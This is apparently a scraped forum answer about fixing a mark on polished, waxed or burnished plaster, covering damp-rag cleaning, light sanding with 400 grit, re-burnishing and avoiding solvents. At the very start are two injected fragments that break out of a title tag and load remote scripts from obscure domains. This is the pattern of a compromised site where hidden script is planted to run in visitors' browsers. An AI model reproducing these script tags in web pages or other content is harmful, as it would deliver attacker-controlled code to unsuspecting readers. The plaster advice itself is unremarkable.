"> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src="http://esscer47emonyno.rr.nu/sl.php"></script><!--Depends on if it has a wax finish over the plaster. If it does, then the wax typically repels water and you should be able to clean the spot with a damp, clean rag. If it doesn't, then you can try lightly sanding the spot with 400 grit sandpaper, then burnishing the area again to get back the polish, or in some cases re-apply more plaster in a very thin coat and burnish. This gets tricky though and can often 'flash' or make the touch up more noticeable. Never use any cleaners or solvent though, as this will stain the plaster, making it worse. If you give more details to the damage, then we may be able to assist further.